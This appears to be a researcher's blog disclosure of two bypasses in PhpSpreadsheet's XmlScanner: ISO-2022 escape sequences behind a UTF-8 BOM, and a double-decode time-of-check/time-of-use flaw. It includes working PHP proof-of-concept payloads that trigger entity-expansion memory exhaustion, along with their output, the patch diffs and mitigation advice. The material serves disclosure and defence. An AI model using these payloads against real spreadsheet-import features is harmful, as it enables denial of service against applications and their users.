Eric Labrador


← e1abrador.com


Two Ways Past PhpSpreadsheet's XmlScanner: ISO-2022 Escapes and a Double-Decode TOCTOU

2026-10-13  ·  PHP CVE-2026-108358 CVE-2026-108357 XXE DoS

Background

PhpSpreadsheet is the de facto PHP library for reading and writing spreadsheets. Every format it reads that is XML underneath (XLSX parts, SpreadsheetML 2003 .xml, ODS, Gnumeric) goes through simplexml_load_string() or XMLReader, which means libxml2. libxml2 always expands internal entities declared in a DTD. PHP 8.0 turned off external entity loading by default, but internal entity expansion is standard XML behaviour and stays on.

So PhpSpreadsheet does not rely on parser flags. It rejects any document that contains a DTD before the parser sees it. That job belongs to Reader\Security\XmlScanner:

// src/PhpSpreadsheet/Reader/Security/XmlScanner.php (5.9.0)
public function scan($xml): string
{
    $pattern = '/\0*' . implode('\0*', str_split('<!DOCTYPE')) . '\0*/';

    if (preg_match($pattern, $xml)) {                 // check #1: raw bytes
        throw new Reader\Exception('Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
    }

    $xml = $this->toUtf8($xml);

    if (preg_match($pattern, $xml)) {                 // check #2: after UTF-8 conversion
        throw new Reader\Exception('Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
    }

    if ($this->callback !== null) {
        $xml = call_user_func($this->callback, $xml); // post-processing, never re-checked
    }

    return $xml;
}

The whole defence is a regular expression looking for <!DOCTYPE, with optional NUL bytes between characters so that UTF-16/UTF-32 input is still caught. If the regex misses, the DTD reaches libxml2 and the entities are expanded. The two bugs below each make the regex miss in a different way.

CVE-2026-108358: ISO-2022 Escape Sequences

Root cause

The regex only tolerates \0 between the characters of <!DOCTYPE. Any other byte between, say, < and ! breaks the match. The problem is finding a byte that the scanner treats as data while libxml2 throws it away before tokenising.

ISO-2022 encodings do exactly this. In ISO-2022-JP, the sequence ESC ( B (1B 28 42) means "switch to ASCII". It is a shift state and not a character. A decoder consumes it and emits nothing. So the bytes

3C 1B 28 42 21 44 4F 43 54 59 50 45    < ESC ( B ! D O C T Y P E

do not match the scanner's regex, but come out of an ISO-2022-JP decoder as a clean <!DOCTYPE.

Keeping the scanner on UTF-8

Just declaring encoding="ISO-2022-JP" is not enough. XmlScanner::toUtf8() reads the encoding declaration and runs mb_convert_encoding($xml, 'UTF-8', 'ISO-2022-JP') before check #2. That removes the escape sequences and the second regex catches the DOCTYPE.

The way around it is the byte-order mark. toUtf8() checks for a UTF-8 BOM first, and when it finds one it treats the document as UTF-8 and never looks at the encoding declaration:

if (substr($xml, 0, Reader\Csv::UTF8_BOM_LEN) === Reader\Csv::UTF8_BOM) {
    $xml = substr($xml, Reader\Csv::UTF8_BOM_LEN);   // strip BOM, no conversion
}

Now the two components disagree. The scanner thinks the document is UTF-8, so the ESC bytes stay in place and both checks pass. The BOM is removed but the encoding="ISO-2022-JP" attribute stays in the string handed to simplexml_load_string(). With no BOM left, libxml2 follows the declaration, switches its input decoder to ISO-2022-JP through iconv, drops the escape sequence and parses a normal DTD.

One escape between < and ! is enough. The rest of the DTD (<!ENTITY ...>) is not inspected by the scanner at all, because the pattern only looks for the DOCTYPE keyword.

Payload

Any XML part inside an XLSX works. xl/sharedStrings.xml is convenient because its content is copied straight into cell values:

$bom = "\xEF\xBB\xBF";
$esc = "\x1B\x28\x42";                       // ISO-2022-JP: ESC ( B

$sharedStrings = $bom
    . '<?xml version="1.0" encoding="ISO-2022-JP"?>' . "\n"
    . '<' . $esc . '!DOCTYPE sst [' . "\n"
    . '  <!ENTITY big "' . str_repeat('A', 50000) . '">' . "\n"
    . ']>' . "\n"
    . '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
    . '<si><t>' . str_repeat('&big;', 100) . '</t></si></sst>';

Pack it with a minimal workbook, a sheet with A1 pointing to shared string 0, and the usual [Content_Types].xml and relationship parts, then load it:

$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx();
$reader->setReadDataOnly(true);
$spreadsheet = $reader->load('poc.xlsx');
XLSX size: 1,852 bytes
Peak memory: 15.6 MB
Cell A1 length: 32767 bytes
Entity expansion: CONFIRMED

A1 holds 32,767 bytes, which is PhpSpreadsheet's cell length cap. The expanded string is about 5 MB before truncation. Raising the entity size or the reference count scales the memory use; with 100 KB × 200 references a ~2 KB file reached ~45 MB.

Other ISO-2022 variants work the same way, as long as the libxml2/iconv build supports them: ISO-2022-JP-2, ISO-2022-KR, ISO-2022-CN, ISO-2022-CN-EXT, ISO-2022-JP-2004 and ISO-2022-JP-MS, each with its own designator sequence.

The result depends on the platform. On Linux (glibc iconv) the payload reproduces consistently. On the official Windows PHP build the same file fails to parse, most likely because that libxml2 build does not handle the declared encoding. Most production PhpSpreadsheet deployments run on Linux.

CVE-2026-108357: Double-Decode TOCTOU in the SpreadsheetML Reader

The unentity() callback

Excel accepts HTML named entities (&nbsp;, &eacute;, ...) inside SpreadsheetML 2003 files even though they are not valid XML. To read those files, PhpSpreadsheet 3.3.0 added an unentity() callback to the Reader\Xml scanner. It decodes HTML entities while protecting the five predefined XML ones:

// src/PhpSpreadsheet/Reader/Xml.php (5.9.0)
public static function unentity(string $contents): string
{
    $contents = preg_replace('/&(amp|lt|gt|quot|apos);/', "\u{fffe}\u{feff}\$1;", trim($contents)) ?? $contents;
    $contents = html_entity_decode($contents, ENT_NOQUOTES | ENT_SUBSTITUTE | ENT_HTML401, 'UTF-8');
    $contents = str_replace("\u{fffe}\u{feff}", '&', $contents);

    return $contents;
}

There are two problems. Numeric character references (&#60;, &#x3C;, &#38;) are not protected, so html_entity_decode() turns them into real < and &. And in scan() the callback runs after both regex checks, so whatever it produces is never inspected.

With a single pass this is not enough. &#60;!DOCTYPE becomes <!DOCTYPE after the check, but that only happens once. The second ingredient is that Reader\Xml calls scan() twice on the same data.

Two scans, one buffer

canRead() scans the file and caches the output of scan(), which has already been decoded once:

// Xml::canRead()
$data = (string) file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data);   // scan #1
// ... signature checks for <?mso-application progid="Excel.Sheet"?> ...
$this->fileContents = $data;                                // cached, decoded once

load() then reads the cached buffer and scans it again before parsing:

// Xml::trySimpleXMLLoadStringPrivate()
if ($this->fileContents !== '') {
    $data = $this->fileContents;
}
$xml = simplexml_load_string(
    $this->getSecurityScannerOrThrow()->scan($data),       // scan #2
    'SimpleXMLElement',
    Settings::getLibXmlLoaderOptions()
);

Each pass checks first and then decodes one level of entities. A value encoded twice is still harmless during each check and becomes active only after the last decode:

raw file        &#38;#60;!DOCTYPE
                  │  scan #1: regex sees no '<'          → pass
                  │  unentity: &#38; → &
cached          &#60;!DOCTYPE
                  │  scan #2: regex sees no '<'          → pass
                  │  unentity: &#60; → <
to libxml2      <!DOCTYPE                             ← never checked

This is a time-of-check/time-of-use bug. What gets checked and what gets parsed are different strings. The hex form &#38;#x3C; and mixed forms such as &#x26;#60; behave the same way.

Payload

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . str_repeat('A', 100000) . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"'
    . ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">'
    . '<Worksheet ss:Name="Sheet1"><Table><Row><Cell>'
    . '<Data ss:Type="String">' . str_repeat('&big;', 200) . '</Data>'
    . '</Cell></Row></Table></Worksheet></Workbook>';

Note that the file on disk is not well-formed XML. Opening it directly with simplexml_load_file() fails with Start tag expected, '<' not found. It only becomes a valid document with a DTD after PhpSpreadsheet's own pre-processing. Loading it through the reader:

$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
$reader->canRead('poc.xml');          // scan #1, populates fileContents
$spreadsheet = $reader->load('poc.xml');  // scan #2, parse
File size: 101375 bytes
canRead: true
Peak memory: 44.2 MB
Cell A1 length: 32767 bytes
Entity expansion: CONFIRMED

The bug can be seen without a spreadsheet by calling the scanner directly:

$scanner = new XmlScanner('<!DOCTYPE');
$scanner->setAdditionalCallback([Xml::class, 'unentity']);

$p1 = $scanner->scan('&#38;#60;!DOCTYPE test');   // "&#60;!DOCTYPE test"
$p2 = $scanner->scan($p1);                          // "<!DOCTYPE test"

Branches before 3.3.0 (1.x, 2.x) have no unentity() callback, so they are not affected. On those branches HTML entities just make the file invalid.

Impact

Both bypasses deliver an attacker-controlled DTD to libxml2. What can be done with it depends on the parser configuration:

The attack surface is any "import your spreadsheet" feature: CRM imports, bulk user uploads, finance tools, LMS gradebooks. CVE-2026-108358 is reachable through IOFactory::load() on any XLSX. CVE-2026-108357 needs the SpreadsheetML reader, which IOFactory::load() selects for files carrying the <?mso-application progid="Excel.Sheet"?> processing instruction. IOFactory calls canRead() and then load() on the same reader instance, so the double scan happens without any special calling pattern.

The Fix

Both issues are fixed in the same change (89f455c on master, backported to each maintained branch).

BOM/declaration mismatch. toUtf8() now refuses a document whose BOM says UTF-8 while its XML declaration says something else. That removes the disagreement between scanner and parser:

 if (substr($xml, 0, Reader\Csv::UTF8_BOM_LEN) === Reader\Csv::UTF8_BOM) {
+    if (preg_match(self::ENCODING_PATTERN, $xml, $matches) === 1) {
+        if (strtolower($matches[2]) !== 'utf-8') {
+            throw new Reader\Exception("BOM says UTF-8 but encoding says {$matches[2]}");
+        }
+    }
     $xml = substr($xml, Reader\Csv::UTF8_BOM_LEN);
 }

Idempotent unentity(). The callback now protects every XML character reference, numeric and hex included, using a lookahead. After decoding, any leftover bare & is escaped back to &amp;, so the output can never contain a new entity reference for the next pass to decode:

 public static function unentity(string $contents): string
 {
-    $contents = preg_replace('/&(amp|lt|gt|quot|apos);/', "\u{fffe}\u{feff}\$1;", trim($contents)) ?? $contents;
+    // fffe is invalid, replace with replacement char
+    $contents = str_replace("\u{fffe}", "\u{fffd}", $contents);
+    // use positive lookahead to "protect" valid xml entities
+    $contents = Preg::replace('/&(?=(?:amp|lt|gt|quot|apos|#[0-9]+|#x[0-9a-fA-F]+);)/', "\u{fffe}", trim($contents));
     $contents = html_entity_decode($contents, ENT_NOQUOTES | ENT_SUBSTITUTE | ENT_HTML401, 'UTF-8');
-    $contents = str_replace("\u{fffe}\u{feff}", '&', $contents);
+    // Escape remaining ampersands, restore those which were replaced with fffe
+    $contents = str_replace(['&', "\u{fffe}"], ['&amp;', '&'], $contents);
     return $contents;
 }

With this, &#38;#60; stays as a literal character reference that libxml2 resolves to text inside content. It never becomes markup. The U+FFFE sentinel is also cleaned from the input first, so an attacker cannot forge the placeholder.

Both bugs come from the same design: a blocklist regex that runs on a different representation of the document than the parser uses. Here the gap came from the encoding layer in one case and from a post-check transformation in the other. In general, a check of this kind should run on exactly the bytes the parser will receive, after every transformation, and any input where the encoding is ambiguous should be rejected.

Affected and Patched Versions

Upgrade with composer update phpoffice/phpspreadsheet. If upgrading is not possible right away, reject uploaded XML parts that begin with a UTF-8 BOM and declare a non-UTF-8 encoding, and reject SpreadsheetML uploads that contain numeric character references for < or & outside cell data.

Report Timeline

← e1abrador.com